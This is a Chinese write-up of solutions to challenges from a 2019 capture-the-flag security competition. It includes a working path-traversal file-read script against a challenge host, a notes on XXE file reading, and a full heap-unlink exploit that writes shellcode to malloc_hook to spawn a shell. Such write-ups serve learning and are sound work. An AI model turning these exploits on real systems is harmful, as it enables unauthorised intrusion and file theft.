1. 程式人生 > >2019網路與資訊保安專項賽題解

2019網路與資訊保安專項賽題解

跟SUS_2019的大哥們一起打的比賽,記錄一下

web

web1

       web簽到,像這種前端遊戲,一般邏輯都在js裡面所以直接看cqg.js,無腦賦值socre=15,出來flag

web2

     burp啟動,資料xml格式,猜測xxe,直接system讀檔案,可以讀到,那麼接下來讀取原始碼試試,剛開始讀index.php沒讀到,得用php://filter偽協議去讀,路徑/var/www/html/index.php

web3

本來以為是加密,試了半天不是,看起來檔案任意讀取的地方引數像個base64的字串,然而並不是正常的base64,除了=等號不變,其它部分像是轉換了,所以就是一個簡單的base64移位轉換,所以直接上burp,intruder幾個不同名字的jpg,然後找到其轉換規則,直接讀取hint中提示的檔案

```python

#coding:utf-8

import requests as req

import base64 as b64

import urllib

#D4hpAXj= =>7.jpg=<Ny5qcGc=

#64個字元A-Z,a-z,0-9,+,/

trans_box = {'+': 'u', '/': 'A', '1': '0','7': 'I', '9': 'k',  'K': '6', 'M': 'Z', 'O': '2', 'Q': '+','A': 'b', '3': 'C', '0': 'Y', '2': 'P', '4': 'y', '6': 'e', '8': 'v', 'B': 'z', 'D': 'N', 'F': 't', 'H': 'x', 'J': 'U', 'L': 'X', 'N': 'F', 'P': 'V', 'R': 'q', 'T': 'a', 'V': 'l', 'X': 'm', 'Z': 'S', 's': 'p', 'u': 's', 'w': 'O', 'y': 'D', 'E': '\\', 'b': '4', 'd': 'B', 'f': 'h', 'h': '5', 'j': 'c', 'l': 'M', 'n': '9', 'p': 'w', 'r': '1', 't': '8', 'v': 'o', 'x': 'i', 'z': 'K','=':'=',

     '5': 'T',  'C': 'J', 'G': '7', 'I': 'f', 'S': 'd', 'U': '3', 'W': 'R', 'Y': 'W', 'a': 'L', 'c': 'r', 'e': 'g', 'g': 'n', 'i': 'E', 'k': 'j', 'm': 'G', 'o': 'H', 'q': 'Q'}

print len(trans_box.keys())

def get_key (dict, value):

    return [k for k, v in dict.items() if v == value]

 

def zhuanhuan(b):

    payload=""

    for i in range(len(b)):

        payload = payload + get_key(trans_box,b[i])[0]

    return payload

 

def exp(a):

    b = b64.b64encode(a)

    print  b

    c = zhuanhuan(b)

    payload = urllib.quote(c)

    print payload

    res = req.get('http://743d9d231a084055b92ea11b480e47c545be52d430074b21.changame.ichunqiu.com/img.php?name={}'.format(payload))

    print res.url

    print res.content

 

 

if __name__ == '__main__':

    exp('../../../../../../var/www/html/templates/upload.html')

    #exp('../../../../../../proc/self/cwd/templates/upload.html')

    #exp('../../../../../../root/flag.txt')

```

Misc

misc1

       簽到,直接看到TXT,直接反查域名的TXT記錄即可得到flag,

http://dbcha.com/?t=1565832996

misc2

       win上下載後直接拖到最後發現密碼,然後開啟壓縮包得到一張圖片,繼續開啟它

 

發現有一段奇怪的文字,百度了一下

 

0ox!加密,找了個線上揭祕網站進行解密即可得到flag

https://www.splitbrain.org/services/ook

misc3

是張圖片,binwalk分離,得到一個加密的壓縮包,嘗試爆破無果,

回來看第一張圖片,學弟見過這種編碼,核心價值觀編碼。。。。,直接線上解碼得到壓縮包密碼http://ctf.ssleye.com/cvencode.html

得到壓縮包密碼為CodeValues,然後出來一張圖片

藏了一個二維碼,百度了一下這種datamatric二維碼也可以直接解碼,先用steglove轉為黑白圖,然後截圖二維碼這一部分,然後用win畫圖工具擦掉旁邊多餘的部分就可以解碼了

misc4

下載壓縮包,解壓得到一個 七代目.gif。無法正常開啟,用010editor看一眼,是png的檔案頭。

那就直接根據檔案字尾修改,把89504E47改成gif的47494638,gif即被修復。然後找個線上網站,分解一下這個gif https://tu.sioe.cn/gj/fenjie/。

這麼多圖,一個個分析肯定累死人。題目名字七代目,那就直接把第七張圖掏出來看。Binwalk什麼的走一遍感覺已經沒有藏得私貨了,用stegsolve開啟看一下LSB。結果剛開啟調一下就出flag了

Crypto

crypto1

題目說sm4加密,直接百度

github下載安裝gmssl,直接解密即可

crypto2

題目中給了RSA演算法中的e,n,dp,c,其中。想到之前看過的一葉飄零的blog(https://zhuanlan.zhihu.com/p/43033684)關於dp和dq的解法,改一下資料就可以得到最終結果,payload如下:

然後得到16進位制字串線上解碼就得到flag

Re

Re1

控制流平坦化,拿工具跑一下,前幾個check驗證了flag的格式,最後一個check將輸入進行變化和特定的字串比較。
ABCDEFGHIJ的話就加上48,如果是-就不變化,其他的減去17
s3 = [ 'J', '2', '2', '6', '1', 'C', '6', '3', '-', '3', 'I', '2', 'I', '-', 'E', 'G', 'E', '4', '-', 'I', 'B', 'C', 'C', '-', 'I', 'E', '4', '1', 'A', '5', 'I', '5', 'F', '4', 'H', 'B']
s3 = "".join(s3)
f = ""
for i in range(len(s3)):
    m = s3[i]
    q1 = chr(ord(m) - 17)
    q2 = chr(ord(m) + 48)
 
    if m == "-":

        f += "-"

    elif m in "ABCDEFGHIJ":

        f += q1

    else:

        f += q2

    print f

RE2

稍微看一下就能知道

前面的計算是算平方數

後面的計算是算10000內素數的個數

Pwn

Pwn1

在Edit的時候能夠,讓size多出一位元組,然後就可以Unlink了,保護全關,靜態連結,可以寫shellcode到malloc_hook

 

from pwn import *

from time import sleep

import base64

 

context.log_level = 'debug'

context.arch = 'i386'

p = process("./pwn")

 

f = ""

 

n = "\n"

def Add(size, con):

       global f

       p.sendline("1")

       p.sendline(str(size))

       p.sendline(con)

 

       f += "1" + n + str(size) + n + con + n

 

 

def Del(idx):

       global f

       p.sendline("2")

       p.sendline(str(idx))

 

       f += "2" + n + str(idx) + n

 

def Edit(idx, con):

       global f

       p.sendline("3")

       p.sendline(str(idx))

       p.sendline(con)

 

       f += "3" + n + str(idx) + n + con + n

      

 

f = ""

 

note_size = 0x80eba00

note_ptr  = 0x80eba40

sc =  asm(shellcraft.i386.linux.sh())

malloc_hook = 0x80ea4d8

 

Add(0x64, "0" * 0x64)

Add(0x64, "0" * 0x64)

Add(0x64, "0" * 0x64)

 

Add(0x64, "0" * 0x64)

Add(0x68, "0" * 0x68)

 

Add(0x64, "0" * 0x64)

 

 

_id = 3

 

Edit(_id, "0" * 0x65)

 

 

ptr = note_ptr + 4 * _id

fake_fd = ptr - 12

fake_bk = ptr - 8

 

fake  = p32(1) + p32(0x61)

fake += p32(fake_fd) + p32(fake_bk)

fake = fake.ljust(0x60, chr(0x60))

fake += p32(0x60)

fake += "\x70\x00"

 

bss_end = 0x80ebe0b

 

Edit(_id, fake)

 

# raw_input()

 

Del(_id + 1)

 

Edit(_id, p32(malloc_hook))

Edit(_id, p32(malloc_hook) + p32(bss_end))

Edit(0, p32(bss_end))

Edit(1, sc)

Add(0x64, 'cat flag')

print base64.b64encode(f)

p.interactive()

&n